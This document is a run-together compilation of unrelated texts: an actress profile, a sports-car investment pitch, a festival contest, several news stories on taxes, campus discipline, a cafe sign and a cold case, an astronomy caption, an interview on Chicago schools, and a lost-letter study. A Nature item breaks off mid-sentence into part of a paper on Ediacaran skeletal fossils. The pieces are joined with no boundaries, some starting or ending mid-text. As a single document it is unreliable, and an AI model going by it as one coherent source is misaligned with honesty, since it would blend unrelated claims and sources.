Baby voices are a particular speciality for Taylor. She recalls a chance meeting with John Lasseter while walking with Allwine in the hallway at Burbank Airport in the early days of Pixar. “We were talking, and John turned to me and said, ‘You do baby voices, don’t you? Cries and stuff?’ I said, yeah, and he said, ‘All right, I’ll call you.’ I thought, ‘Great!’ Well, two years later, I got a phone call from John saying, ‘OK, we’re ready now.’ It was for “A Bug’s Life,” and I got to be baby maggots.” She follows this with boisterous laugh before launching into an example of just what crying baby maggots sound like.
Taylor is well aware she has a charmed life, working with the likes of Greer Garson (“If there’s every been a woman’s voice that was THE voice, it was hers”) and Jay Leno, who has a recurring role on “Mickey and the Roadster Racers as racetrack announcer Billy Beagle” (“He’s adorable and knocks it out of the park every time he comes in.”). And she’s exceedingly grateful. “I can’t believe my life,” she says. “I’ve been so lucky. I sit back and go, ‘Don’t let anybody know!’ It’s really fun.”
Taylor also performed some famous voices during Variety‘s interview. Listen to the notable clips below.When you join us on our quest to shake up the sports car industry, you are becoming part of a bigger mission. Here and now is your chance to get in, lead by example and drive change. Reserve your stake in our company and claim your place in history. We recently qualified with the SEC (Securities Exchange Commission) allowing the opportunity for people worldwide who share in our vision to invest alongside us and become part of the ever growing TOMAHAWK family
Until recently, private placements couldn’t be advertised in public and sales could only be to so-called accredited investors. The federal securities laws have largely prevented most ordinary investors from funding early-stage companies. Experienced angel and venture investors that were plugged into the groups, law firms, and brokers-dealers were able to see the deals however until today ordinary people were generally shut out of these opportunities.
Reg A+ (Crowdfunding IPO) of the American JOBS Act was created to help revive the small cap market by allowing early stage growth companies to raise up to $50 million in a public offering through a process that provides streamlined and lower-cost access to the capital markets for the issuer and gives the investor the opportunity to participate in the IPO with a potentially high growth company. The JOBS Act is changing the investing landscape for the better, for issuers and investors alike who can invest with confidence thanks to the transparency provided by the audited financials and ongoing reporting required under Tier 2 Offerings.Don't forget: our annual Festival International contest begins Thursday! Win. Cool. Stuff.
LUS Fiber's WiFi hot spot will help grease the
skids for Fest fIND 2014!
Festival International de Louisiane is right around the corner - April 23-27 - and the IND's second annual Fest fIND contest is along for the ride.
Last year was all about the fuzzy hat and the cool merch. This year it's a little more like a photo scavenger hunt - take a pic at a specific location during festival and email it to us; we'll select a winner based on some incredibly random, subjective criteria we haven't settled on yet. Oh, and winners get more cool merch including Festival gear, goodies from LUS Fiber and gift certificates to some cool Downtown restaurants. Not to mention the exquisite satisfaction of playing a contest hosted by your fave source for Lafayette news, culture and commentary.
Here's how it works. Listed below are events/performances during Festival at which contestants will snap a photo and email it to indbox@theind.com. IND staff members will select a winner and announce it later that afternoon on our Facebook page. That evening the Fest fIND winner stops by the IND office, 551 Jefferson St. Downtown, and gets the stuff. That night the Fest fIND winner gloats incessantly about being a Fest fIND winner, prancing around with her Fest fIND backpack full of Festival International and LUS Fiber gear, Brother Dege's latest CD How to Kill a Horse, Sassafras Jubilee's brand-spanking new CD Long Time Coming and gift certificates to Pat's Downtown and Jefferson Street Pub, and driving her friends insane with envy.
On Monday we'll select a grand prize winner who will get the above-mentioned stuff plus a $50 gift certificate to Saint Street Inn.
We'll also be compiling all the photos into photo galleries readers can view at theind.com and on our Facebook page. So like us on Facebook. Just because.
And here's a cool feature to this year's contest: LUS Fiber is co-sponsoring Fest fIND 2014, and because we all know how difficult it can be to send data from a smartphone when 30,000 people Downtown are trying to do the same thing, LUS Fiber will be setting up a WiFi hot spot near Scène TV5 MONDE/Lafayette (the stage in Parc Putnam by the federal courthouse) to handle all the digital traffic. Terry Huval rocks!
Without further ado, here are the Fest fIND 2014 details:
THROWBACK THURSDAY
Photos from Festivals gone by
Email to indbox@theind.com any time
Winner announced at 3 p.m.
Prize pickup at IND office 5:45-6 p.m.
FRIDAY
A pic from Bach Lunch (Parc Sans Souci)
Noon-1 p.m.
Winner announced at 3 p.m.
Prize pickup 5:45-6 p.m.
SATURDAY DOUBLE WHAMMY
Shoot a selfie with Sassafras Jubilee (shameless self-promotion alert: that's Managing Editor Walter Pierce's band) performing at Scène POPEYES
2:45-3:15 p.m.
And... shoot a pic with a stilt walker any time including during the Festival Promenade & Tintamarre
4 p.m.
Winners will be announced at 5 p.m.
Prize pickup 5:45-6 p.m.
SUNDAY
Group pic at the Tipsy Tent (Scène Fais Do Do) and/or kiddie pics at the Baby Changing Station (also Scène Fais Do Do)
Any time
Winners announced at 3 p.m.
Prize pickup 4-4:15 p.m.
Questioning our sincerity? Check out this Throwback Thursday photo gallery of past Festivals submitted by IND staff members!
{igallery id=1969|cid=62|pid=1|type=category|children=0|addlinks=0|tags=|limit=0}NEW DELHI: Another case of MMS involving Jawaharlal Nehru University students has come to light on campus. A source in the university administration said three students were suspended for their alleged involvement in the MMS, which was shot in Narmada Hostel. The MMS started circulating nearly a month ago and some students apparently complained to the varsity authorities.A university source said Narmada hostel is for boys. An inquiry by proctor H B Bohidar was conducted and the students were suspended on Friday on the basis of prima facie evidence.The rector, the proctor and the dean of students refused to comment on the issue. Vice chancellor S K Sopory confirmed the suspensions. “I can’t say anything more as I am travelling and the details are not available with me. But yes, a few students have been suspended,” he said.Ravi Prakash Singh, JNU students union general secretary, said, “If such things keep happening, it will malign the university. Action should be taken and such students should be immediately thrown out of the campus.”So far, the broader debt crisis engulfing the euro zone nations has pushed discussion of the tax into the background. But if European leaders can agree on a plan that calms the financial markets, they would be in a stronger position to enact a levy, analysts said.
“There is some momentum behind this,” said Simon Tilford, chief economist of the Center for European Reform in London. “If they keep the show on the road, they probably will attempt to run with this.”
The Robin Hood tax has also become a rallying point for labor unions, nongovernmental organizations and the Occupy Wall Street movement, which view it as a way to claw back money from the top 1 percent to help the other 99 percent. Last month, thousands of demonstrators, including hundreds in Robin Hood outfits with bright green caps and bows and arrows, flooded into southern France to urge the leaders of the Group of 20 nations to do more to help the poor, including passing a financial transactions tax.
Enacting such a tax still faces many hurdles, however — most notably, skepticism from leaders in the United States and Britain, home to some of the world’s most important financial exchanges.
Photo
The day after the Robin Hood protest, for example, Mr. Gates, the chairman of Microsoft and one of the world’s wealthiest men, presented a report to a closed-door meeting of the G-20 leaders that laid out his ideas on how rich countries could aid poor ones. One of his proposals was a modest tax on trades of financial instruments that could generate $48 billion or more annually from the G-20 countries.
Ms. Merkel and France’s president, Nicolas Sarkozy, quickly piped up, enthusiastically endorsing the tax. But Britain’s prime minister, David Cameron, expressed serious reservations, saying Britain would embrace it only if it were adopted globally. British officials fear that unless the tax is worldwide, trading will flee London’s huge markets to countries with no tax.
The Obama administration has also been lukewarm, expressing sympathy but saying it would be hard to execute, could drive trading overseas and would hurt pension funds and individual investors in addition to banks.
Advertisement Continue reading the main story
Administration officials say they would prefer a tax on the assets of the largest banks as a way to discourage them from risky activities. “The president is sympathetic to the goals that a financial transactions tax is trying to achieve and he is pushing for a financial crisis responsibility fee and closing other Wall Street loopholes as the best and most feasible way to achieve those goals,” an administration official said.
Still, support is growing for the idea, which has been largely dormant since the 1970s, when a version was first proposed by the economist James Tobin, later a Nobel Prize winner.
“The tax is a good idea because banks are where the money is. It’s the same reason Jesse James robbed banks,” said Rose Ann DeMoro, executive director of National Nurses United, which recently held demonstrations at the offices of 60 members of Congress in support of the levy. “The thing about the financial transactions tax is it’s stunning how quickly people get it and how fast they embrace it.”
Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.
Labor groups like the nurses’ union and the A.F.L.-C.I.O. see the tax as a way to finance job creation programs to fight high unemployment in the United States and Europe.
Other advocates hope it will slow the speculation that many blame for undermining the euro and causing wild swings in financial markets. Mr. Gates and Mr. Sarkozy would like to use the money to finance development in the world’s poorest nations. And leaders like Ms. Merkel and some members of Congress are eyeing it as a relatively painless source of money to help plug government deficits.
On Nov. 16, the French Senate passed a bill supporting a financial transactions tax. And the European Commission in Brussels has said it would like to put a tax of $10 per $10,000 of transactions in place throughout the European Union by 2014, predicting it would raise 57 billion euros ($77 billion) a year in European countries alone.
Photo
Last month, Representative Peter DeFazio, an Oregon Democrat, and Senator Tom Harkin, an Iowa Democrat, proposed an American version of the tax that they said could raise $350 billion over 10 years.
Their legislation would impose $3 in taxes for each $10,000 in transactions. Other proposals, including those from the nurses’ union, call for a tax of $50 per $10,000.
Mr. DeFazio said his tax plan would “raise money to invest in the real economy,” but he acknowledged that it faced an uphill battle in Washington, especially within the antitax Republican caucus.
Advertisement Continue reading the main story
Opponents say that even at the rate in the DeFazio-Harkin bill, the tax would add significantly to the cost of trading, exceeding what institutional investors pay in commissions.
“At a time when we face a slow economic recovery, such a tax will impede the efficiency of markets and impair depth and liquidity as well as raise costs to the issuers, pensions and investors who help drive economic growth,” Kenneth E. Bentsen Jr., executive vice president for public policy at the Securities Industry and Financial Markets Association, said in a statement.
George Osborne, the British chancellor of the exchequer, described the proposed tax as “economic suicide” for Europe. In this time of economic crisis, he said, the European Union “should be coming forward with new ideas to promote growth, not undermine it.”
And Glenn Hubbard, who was chairman of the Council of Economic Advisers under President George W. Bush, said the Robin Hood tax is a “monstrously bad idea.”
“Such a tax isn’t really going to get at the banks,” added Mr. Hubbard, who is now an adviser to the Republican presidential candidate Mitt Romney. “It’s going to hit the people who own the assets that are traded,” like investors.
Supporters of a financial transactions tax note that Britain already imposes a levy of $50 per $10,000 of stocks traded, while Hong Kong and Singapore, with fast-growing financial markets, impose fees of $10 to $20 per $10,000 of the value of certain transactions.
The United States imposed a tiny tax on stock trades from 1914 to 1966.Filming in the Palouse was a constant reminder of how rich our country’s soils really are. For hundreds of miles, in every direction, lay these golden green rolling hills of wheat. As far as the eye could see. Our host in the Palouse, renowned soil buff Dr John Reganold, never failed to point out the value of these highly productive loess soils, brought in by wind from the prairie to the west and south.
Crew and John Reganold on Butte in Easter WA
Soils like this, he reminded us, are what the US has built its empire upon. Without owning the majority stock of the world’s productive soils, we would not have the world prowess that we have today. Rich soils give us the ability to not only feed ourselves, but also be one of the largest exporters of two of the world’s staple crops; corn and wheat.
One of the best parts of the shoot was when John took us to a giant road-cut, to see the different layers of soil that supports the relatively thin layer for loess top soil. If you look real close beneath our feet you can see a tiny strip of dark top soil. A stark reminder that however rich in soil the US and eastern Washington may be, the most productive soils are just a thin layer- the skin of the earth.
– By Jessy BeckettHawaiian restaurant Café 8 1/2 is facing backlash after its owner hung a sign barring pro-Trump supporters from eating there.
“I made my one big statement, I guess you could say, with a little poster I put in my window the day after he was elected,” Robert Warner told KITV-TV about the sign he posted on the door of his restaurant.
“If you voted for Trump you can not eat here! No Nazis,” Warner’s sign to Trump supporters read.
Since hanging the sign, Café 8 1/2’s Facebook page has been inundated with one-star reviews.
“I voted for Trump and will do it again in 4 years, no skin off my nose as my next trip to Honolulu Hawaii will not have me stopping in to eat at your place, sad hate to see people loose there lively hood but you get what is coming to you,” one person wrote on the restaurant’s Facebook page. “By the way good luck with your going out of business.”
News of his hanging the controversial sign had some asking the legality of Warner’s protest.
Hawaii Civil Rights Commission director William Hoshijo said Warner’s discrimination against Trump supporters is against the law.
“Our state law does not protect against discrimination based on political affiliation,” said Hoshijo.
In the weeks since the election, Warner has taken down his divisive sign and now says he’s willing to serve supporters of President-elect Donald Trump.
“I think it’s good to be tolerant, when it’s something tolerable. Like if somebody did come here and said, you know I voted for Trump and I don’t like the sign. I’d say okay I understand that,” Warner said. “But if they were nice to me and they wanted to eat, I’d say you know I’m gonna make you some good food if you wanna stick around.”
Follow Jerome Hudson on Twitter: @JeromeEHudsonAstronomy Picture of the Day Discover the cosmos! Each day a different image or photograph of our fascinating universe is featured, along with a brief explanation written by a professional astronomer. 2017 June 28
Composite Messier 20 and 21
Image Credit & Copyright: Martin Pugh
Explanation: The beautiful Trifid Nebula, also known as Messier 20, lies about 5,000 light-years away, a colorful study in cosmic contrasts. It shares this nearly 1 degree wide field with open star cluster Messier 21 (top left). Trisected by dust lanes the Trifid itself is about 40 light-years across and a mere 300,000 years old. That makes it one of the youngest star forming regions in our sky, with newborn and embryonic stars embedded in its natal dust and gas clouds. Estimates of the distance to open star cluster M21 are similar to M20's, but though they share this gorgeous telescopic skyscape there is no apparent connection between the two. M21's stars are much older, about 8 million years old. M20 and M21 are easy to find with even a small telescope in the nebula rich constellation Sagittarius. In fact, this well-composed scene is a composite from two different telescopes. Using narrowband data it blends a high resolution image of M20 with a wider field image extending to M21.Anderson: The evolution of the black middle class on the South Side is a theme that runs throughout the book. The “privilege and the peril” experienced by this group of black Chicagoans within the context of deeply segregated neighborhoods reveals a complicated and complex history. From your observation, how do race, class, segregation patterns, and educational choices overlap?
Moore: I see a lot of middle-class parents, regardless of race, jockeying for slots in elite public schools. Chicago has created more of them over the years, but the flip side is that neighborhood schools are left behind. This has created a tiered system in Chicago Public Schools. Many schools suffer from double segregation, by both race and income, often in low-income black neighborhoods. I’ve lived in two black South Side neighborhoods: Chatham, a middle-class community where I grew up, and Bronzeville, [an up-and-coming area], as an adult. In both neighborhoods, many middle-class families didn’t or don’t send their children to the public elementary and especially not the high schools.
Many times neighborhood public schools don’t reflect the surrounding demographics. One of the “perils” of black middle-class neighborhoods is their proximity to poverty and lower-performing schools. We do see that black children—regardless of socioeconomic status—will travel outside of their neighborhoods for school. Chicago has the distinction of having some of the best and worst public schools in the state.
Anderson: The degree to which segregation pervades so many parts of black life is staggering. You profile Chicago’s Englewood neighborhood, and the emergence of urban agriculture as a tool to uplift the community, including its schools. Clearly, studies show poor nutrition among schoolchildren is linked to poor school performance. Is tackling the issue of food access showing promising gains?
Moore: Englewood has actually seen a decline over the years in its food-desert status. The neighborhood is at the center of the food-justice movement, and in September, Whole Foods will open a smaller market at a major intersection. Englewood is a community overrun with junk-filled corner stores and fast food. Residents have asked for more hot prepared food, community space, and food education. Urban agriculture, discount grocers, farmers markets, and nutrition education have contributed to the change.
Anderson: A year ago this month, 12 South Side activists—black parents and community leaders—staged a hunger strike to save Dyett High School in the Bronzeville neighborhood. As you chronicle, in 1962 black parents and students staged a sit-in for integration at a South-Side elementary school. Black parents fighting for educational equity in Chicago spans many decades. What is your forecast for black and Latino children in Chicago Public Schools?
Moore: [Currently] the most pressing issue … for many CPS families is the budget and whether teachers will strike. I think [in the long-term] we’re going to see a continued decline in overall CPS enrollment and an uptick in white enrollment. But the district will continue to be overwhelmingly black and brown.
Ever since the racial consent decree ended [in 2009, a federal judge lifted a 20-year school desegregation order], white students are overrepresented in the selective [high] schools that require testing. The [feeling] is that the city is pandering to white middle-class parents by continuing to build new schools in white neighborhoods.
Anderson: You note that Chicago officials have labeled segregated schools a problem “too big” to tackle. There is also a school of thought emerging in some education circles that the intractable nature of school segregation makes prioritizing integration akin to chasing the White Rabbit in Alice in Wonderland—unattainable and futile. Your writing underscores the inherent inequality of segregated schools. Talk about your findings, namely the flaws in equating black self-determination with all-black segregated schools.
Moore: Brushing off school integration as unattainable is such a cop out. In the Chicago region, we have been so saturated with segregation that we think it’s normal. And to be clear, self-selection is different from segregation. There’s also the argument that if the housing is segregated, so goes the schools and nothing can be done.
As the race scholar Gary Orfield [of the Civil Rights Project at UCLA] told me for my book, Chicago lacks imagination. The city is equally black, white, and Latino, so there are opportunities, [including] redrawing school boundaries, creating regional magnets, and staying ahead of changing housing patterns. My WBEZ [public radio] colleagues have diligently reported on how CPS school construction enables race and class segregation. So many missed opportunities and clearly no engagement on integration.
We want to hear what you think about this article. Submit a letter to the editor or write to letters@theatlantic.com.Residents in richer suburbs more altruistic, UWA study of dropped letters suggests
Updated
If you saw a stamped, addressed letter on the ground, would you pick it up and post it? What if it was unstamped?
The answer might have a lot to do with where you live.
An Australian-first study has sought to examine whether there was a difference in the level of a person's altruism depending on their wealth and socioeconomic status.
Researchers at the University of Western Australia dropped 300 lost letters on the ground in 15 residential suburbs of varying socioeconomic status, and waited to see which ones made it back to the office.
Lead study author Cyril Grueter said the results found a strong link between socioeconomic status and the likelihood of someone returning the letter.
"I'm an evolutionary biologist, so I'm especially interested in behaviours that don't really make sense from an evolutionary point of view — such as unconditional altruism," Dr Grueter said.
"We wanted to explore this further by doing a very simple and powerful experiment.
"The study clearly tells us that people living in socioeconomically rich neighbourhoods are nicer, they are more altruistic than people living in poor neighbourhoods."
Wealthy western suburbs such as Dalkeith, City Beach and Nedlands topped the list, while Kwinana, Coolbellup and Medina had low return rates.
Crime rate may affect altruism
Peppermint Grove was also at the top, despite not having any post boxes in the area, and Dr Grueter said researchers still did not really understand the mechanisms behind the relationship between socioeconomic status and altruism.
"This is something we're trying to get to the bottom of, it could be that people living in a poor suburb just have other things on their priority list," he said.
"They have other problems to deal with, such as financial hardship or health concerns.
"People living in poor neighbourhoods experience higher levels of crime, and crime is really something that discourages the development of trust — and without trust you don't see altruistic behaviour, you don't see helping behaviour."
Out of the 300 letters — all of which had a birthday card inside — a total of 92 stamped and 42 unstamped were returned.
Originally it was believed that altruism was something that characterises humans across the board, but studies such as this have shown there are variations.
Dr Grueter said the research will not only be useful to sociologists.
"From a more applied perspective, those results could aid charities and other crowdfunded organisations in directing their efforts to where they will likely see the greatest return," he said.
"Data such as this provide a reflection of community attitudes and may therefore prove relevant to municipal government for policy development and intervention."
Topics: social-capital, community-and-society, peppermint-grove-6011, city-beach-6015, cottesloe-6011, medina-6167, perth-6000, kwinana-town-centre-6167
First postedMartinsson was a foreign exchange student living in Kentfield, California, in 1982. She was from Uddevalla in western Sweden and was working as an au pair for a Swedish family. She was last seen shopping at a shoe store in Larkspur Landing, California, a ten minute drive from her home. She was never seen alive again.
The car she had been driving, which was owned by her employers, was reported stolen. Ten days after Martinsson's disappearance, the car was recovered in Oklahoma after a chase. It was being driven by Henry Coleman, a criminal who had convictions for rape, assault and robbery.
Coleman had just been released from San Quentin jail. Coleman, who had the nickname Scarface, claimed he didn’t know Martinsson and hadn’t realised the car was stolen.
Coleman was later convicted of car theft but never admitted being involved in the disappearance of Martinsson.
The Swedish newspaper Bohusläningen writes that Martinsson's remains, which were found in a forest outside of San Francisco a few years ago, have finally been identified. However, the cause of death is still shrouded in mystery.
The remains will be flown home to Sweden and buried in her parents' grave.Published online 29 May 2008 | Nature | doi:10.1038/news.2008.864
News
Researchers can predict which noun a person is visualizing.
Computers might soon be able to deduce your thoughts just by scanning your brain. Punchstock
A computer model has been developed that can predict what word you are thinking of. The model may help to resolve questions about how the brain processes words and language, and might even lead to techniques for decoding people’s thoughts.
Researchers led by Tom Mitchell of Carnegie Mellon University in Pittsburgh, Pennsylvania, 'trained' a computer model to recognize the patterns of |
is restricted to the clastic beds of the same formation [26]. Protolagena and Sicylagena may represent non-metazoan unicellular eukaryotes (protists).
While it is possible that these skeletal/non-skeletal pairs are taphonomic or diagenetic variants of the same taxa, or different taxa restricted to specific ecological niches or environmental settings, we argue that this is not supported by further observations of differences in preservational style.
Suvorovella, compared to discoidal taxa such as Aspidella, Eoporpita, Hiemalora, and Palaeophragmodictya is preserved as fossils of notably different original rigidity, and the existence of primary biomineralized shells in Suvorovella is confirmed by the presence of multiple broken, angular fragments forming a shell hash (figure 1d). Such a depostional style has never been observed in localities yielding soft-bodied Ediacara biota. In addition, Suvorovella specimens never present features of plastic deformation such as stretching, wrinkling, folding, contraction, or other post-mortem degradational features as noted in soft-bodied discoidal taxa [18]. Even when preserved in carbonates, such as in the Khorbusuonka Formation, northern Siberian Platform, Aspidella, Mawsonites, and Hiemalora lack petrographic evidence for dissolution of original skeletal material [27].
Likewise, Corumbella, when preserved in the carbonate Tagatia Guazu Formation of Paraguay shows no petrographic evidence for the presence of any original skeletal hardparts [28]. Indeed, here Corumbella still shows features of plastic deformations such as bending, twisting, and axial-stretching without any loss of overall integrity [24,25]. Conotubus also shows similar bending, folding, and transverse segment imbrication [23]. Even when ruptured, Corumbella shows irregular tears rather than an angular breakage [24]. Such preservation is in notable contrast to the tubes of Cloudina which, like Suvorovella, can show brittle breakage and form concentrated shell beds [29]. Cloudina can also show both elevated growth of cemented and mutually attached individuals to form substantial reef frameworks [30,31], and possible evidence of predatory boring [32].
Finally, it might be argued that these pairs are merely similar as a consequence of their simplicity of form. But shared, fine-scale features suggest they are indeed the same, or closely related, taxa. Moreover, these Ediacaran skeletal fossils are no simpler than any Cambrian metazoans of the poriferan-cnidarian grade, and each has a unique construction. The Cloudina tube is built of eccentrically nested funnel-like elements with flaring upper margins, and the Sinotubulites tube is polygonal in cross section and consists of concentric nested tubicolous elements with similar alternating plates or facets arranged asymmetrically along the midline. The outer tube surface also has a pattern of incomplete ringlets separated by longitudinal ridges [12,13]. Suvorovella is a hollow disc-like shell with two distinct zones on the upper shell, namely a low conical, eccentrically positioned and tightly concentrically folded apex, and an outer flat zone bearing widely separated thin concentric ribs and braided ridges imparting a diamond-shaped pattern to the surface. Except for the soft-bodied twins of these fossils, no other known Ediacaran or Cambrian fossils share these features.
All described taxa are either of unresolved affinity, unicellular eukaryotes (protists) or possible total group cnidarian affinity (crown-eumetazoans). The affinities of Sinotubulites and Suvorovella are unconstrained but their overall skeletal structures are more complex than known in unicellular testate organisms and are incompatible with the organization of calcified algae.
4. Implications for the origins of biomineralization pathways
Calcareous organisms synthesize calcium-binding and extracellular matrix proteins that provide templates for mineralization as well as macromolecules to act as anti-calcifying inhibitors, so essentially placing diagenetic crystal growth under biological regulation [1,33,34]. This suggests that such biomineralization probably originated from a calcium-regulated extracellular matrix system [33,34].
Our findings support the assertion that the calcification process might be a derived feature in many groups where chitin, collagen, or other organic matrices localized in epithelial cells may be the primitive character predating biomineralization: organic scaffolds provided the framework for interactions between the extracellular matrix and mineral ions [35]. Indeed, we note that calcium signalling pathways underwent a dramatic and unparalleled diversification coincident with the radiation of animals [36].
5. The role of high carbonate supersaturation
Ediacaran skeletal taxa are immobile but of diverse affinity: problematic macrobiota, possible total group Cnidaria, as well as unicellular eukaryotes. Prior to the Late Ediacaran, most microfossils (inferred to be unicellular eukaryotes), despite varied probable affinities, possessed either organic or agglutinated tests only [37] with the exception of phosphatic microfossils of probable algal affinity in the Mid-Proterozoic [38].
All Ediacaran calcareous taxa are found only in carbonate rocks, but have soft-bodied counterparts that occur mainly in clastic rocks, often within the same conformable sequences. This observation suggests the operation of local environmental conditions that promoted calcareous skeletonization in pre-existing soft-bodied biota of diverse affinity but with relatively low metabolic demands.
We propose that the Ediacaran macrobiota biomineralization, including the first possible metazoan calcification, was facilitated by the high carbonate supersaturation and alkalinity of Ediacaran shallow marine carbonate settings. Experimentation confirms that modern carbonate skeleton formation is strongly dependent on carbonate supersaturation [39], and so calcification has a relatively low metabolic cost in the highly saturated surface seawaters of low latitudes. For example, despite divergent skeletal morphologies [1], calcium carbonate skeletons may have appeared at least 20 times among metazoans and as many as eight times within both the Porifera and Cnidaria alone [40].
The influence of unusual seawater chemistry during this interval is further supported by examples of anomalously large carbonate skeletons, grains, and structures that exceed Cambrian equivalents by one to two orders of magnitude: (i) the skeletal taxa Namapokia in the Nama Group, Namibia, which reaches diameters of over 1 m [41], (ii) densely aggregating metazoan reefs with volumetrically significant syn-sedimentary cement more than 10 m in width [31], (iii) Suvorovella shell beds ca 1 km length, and (iv) widespread distribution of giant aragonite and high-Mg calcite ooids [42]. Generally, high alkalinity is also consistent with both the global dominance of carbonate lithologies in terminal Ediacaran successions [43] and the extremely high estimated carbonate sediment accumulation rates for this interval, e.g. more than 650 m/ca 10 Myr for the Dengying Formation [23] and more than 1 000 m/ca 10 Myr for the Nama Group [43].
6. Discussion
Despite the first appearance of stalked, frondose macrobiota at ca 578 Ma and soft-bodied tubular forms at ca 550 Ma, no large biomineralized taxa are known until the terminal Ediacaran (ca 550 Ma). That diverse skeletal taxa appear broadly synchronously supports the hypothesis of a terminal Ediacaran environmentally driven biocalcification event.
But while locally high carbonate supersaturation appears to have facilitated calcareous skeltonization, globally high supersaturation long predated the appearance of macrobiota hardparts. Archean and Proterozoic seawater is thought to have been highly supersaturated with respect to carbonate, exceeding that of modern oceans [43]: saturation alone was therefore sufficient to alleviate any metabolic barriers on carbonate biomineralization. This suggests that factors other than changes in seawater carbonate saturation provided a broadly synchronous and global trigger for Late Ediacaran biomineralization.
One possibility is that the progressive lowering of seawater Mg/Ca by an increased input of Ca into oceans, may have caused the demise of ‘aragonite–dolomite’ seas so ushering-in an interval of ‘aragonite seas’ [4]. A further, and perhaps related control, is rising oxygenation. Although modern soft-bodied sponge grade animals may tolerate oxygen concentrations as low as 1.25–10 mM [44], skeletonization is hypothesized to have required higher levels of oxygen, more than 13 mM [45], perhaps in part due to the relatively high energetic cost of structural collagen formation and complex skeletal microstructures [46]. The relatively high oxygen requirements of Ediacaran skeletal biota have been confirmed by the identification of low-oxygen, manganous water column conditions in intervals of Ediacaran successions that lack skeletal taxa [47].
The observations presented here support predictions as to the presence of diverse, pre-existing soft-bodied representatives prior to the acquisition of calcareous skeletons, and that the first macrobiota capable of using increased oxygen for extensive collagen fibrogenesis would likely be those with the lowest metabolic demands, in particular those without advanced circulatory-respiratory systems [46]. It has been hypothesized that induced biologically mediated calcification was an attempt to detoxify excess calcium ions [48], or the molecular inhibitors required as anti-calcification defences in soft-bodied ancestors might have been recruited for control over skeleton growth [34]. It is possible that rising oxygen levels may, however, have been necessary to fuel the co-optive selection of proteins from a pre-adaptive state to allow an adaptive breakthrough [46].
Understanding the degree of biological control over Ediacaran macrobiota biomineralization is critical. Biologically induced precipitates form as a result of metabolic activities that affect pH, pCO 2, and secretion products where the cell is a causative agent only with no control over mineral type or habit [9,49]. By contrast, in biologically controlled systems, cellular processes direct the nucleation, growth, morphology, and final location of precipitated minerals. Almost all controlled mineralization processes occur in an isolated biological environment, although the degree of control varies considerably. A potentially widespread biomineralization process also involves a transient amorphous calcium carbonate (ACC) precursor phase formed from a highly saturated solution with additions such as Mg or certain proteins that prevent crystallization [49]. Elemental compositional or microstructural heterogeneity is the mark of biologically induced minerals, as the formation of biominerals resulting from induced processes vary according to the environmental settings in which they form [9,49]. Analysis of individual crystal shapes and the stability of faces expressed can also inform the mechanisms of controlled growth, as can the nature of any biologically controlled chemical and isotopic composition (vital effects).
Many, but not all, Ediacaran macrobiota skeletal microstructures are either microgranular or fibrous, with a non-hierarchical organization. This perhaps suggests the operation of biomineralization mechanisms that were not under tight biological control. Indeed we note that the only biomineralized Ediacaran macrobiota to lack a non-mineralized twin possessed more advanced skeletal microstructures constructed of either multiple layers or several different fabrics, with a hierarchical organization where each fabric has specific crystallites composed of sub-units similar to those known in earliest Cambrian skeletal metazoans [11]. But a detailed understanding of Ediacaran biomineralization processes is problematic, as evidence for environmentally induced heterogeneity, the potential role of ACC, original crystal shape and preferred crystal orientation, and the presence of vital effects is difficult to establish given the diagenetic replacement of originally aragonitic or high Mg calcite skeletons and the unknown structure of the organic matrix.
A change in the ecological landscape further created by the rise of predation would have placed a premium on the acquisition of protective hardparts [1]. The Early Cambrian record shows a rapid increase in both diversity of mineralogy and complexity of skeletal microstructures which become conserved within lineages, suggesting that while calcification may first have arisen as a non-selective response to environmental change, it was later co-opted for defence and subsequently evolved under tighter biological control. Indeed, we note also that skeletal hard parts first appeared in clastic environments in Cambrian Stage 1, suggesting independence from ambient seawater chemistry. By the Early Cambrian genetic and molecular mechanisms may have controlled biomineralization and mineralogy had become evolutionarily constrained [2].
7. Conclusion
We report that the oldest known skeletal macrobiota (ca 550 Ma), including unicellular eukaryotes and possible metazoans, found in carbonate settings, have almost morphologically identical soft-bodied counterparts often found in the clastic horizons of the same contemporary stratigraphic sequences. These forms are diverse, and include tubular and vase-shaped taxa, as well as the first example of a skeletonized discoidal fossil, possibly a holdfast, of Ediacaran biota. In sum, they represent problematic macrobiota, possible total group Cnidaria, as well as unicellular eukaryotes. Skeletal microstructures are either microgranular or fibrous, with non-hierarchical organization.
We conclude that the macrobiota biomineralization was first facilitated by the high carbonate saturation of Ediacaran seawater in local shallow, carbonate settings, and that such calcification was potentially under limited biological control in sessile taxa that probably required only modest modification of pre-existing organic templates.
The first appearance of large skeletal taxa may have been facilitated by changing seawater Mg/Ca and/or rise of oxygen. We hypothesize that from Ediacaran beginnings, macrobiota biomineralization diversified in complexity and had become under tighter biological control by the Early Cambrian, including occupation of clastic environments suggesting independence from ambient seawater chemistry, probably fuelled by an escalating defensive response to increasing predation pressure and other feedbacks.
Metazoans probably originated in the Cryogenian, diversified in the Neoproterozoic, and came to ecological dominance in the Cambrian. But molecular clock estimates predict the existence of only stem members of extant phyla in the Late Ediacaran, with crown groups of most animal phyla originating in the Cambrian [50]. Complex hierarchical Cambrian skeletal fabrics are notably different from the extremely thin, simple, Ediacaran skeletal organizations and represent a more advanced step in the evolution of biomineralization.
Our findings support recent molecular evidence that the first appearance of fossil skeletons faithfully reflects their independent origins and further suggests that developmental and molecular architecture for biomineralization evolved prior to the divergence of the metazoan phyla, providing a mechanism for synchronous, multiple origins of biomineralization through exaptation of existing genes [2]. This is also compatible with the assertion that the ‘Cambrian Explosion’ is a biological signal of the diversification of preservable skeletal fossils, not of animals.
Ethics
This work has not involved any living subjects and conforms to the Ethics guidelines of the School of GeoSciences, University of Edinburgh.
Data accessibility
All data used in this study are presented in the text.
Authors' contributions
R.W. and A.Z. designed the study; A.I. re-found the original Suvorovella fieldsite, undertook initial fieldwork and collected most material. A.I. and A.Z. carried out the morphological description, undertook SEM analysis and reconstructed Suvorovella; R.W. undertook the petrographic analysis of Suvorovella; R.W. and A.Z. drafted the manuscript; all authors gave final approval for publication.
Competing interests
We have no competing interests.
Funding
A.Z. acknowledges funding from the University of Edinburgh.
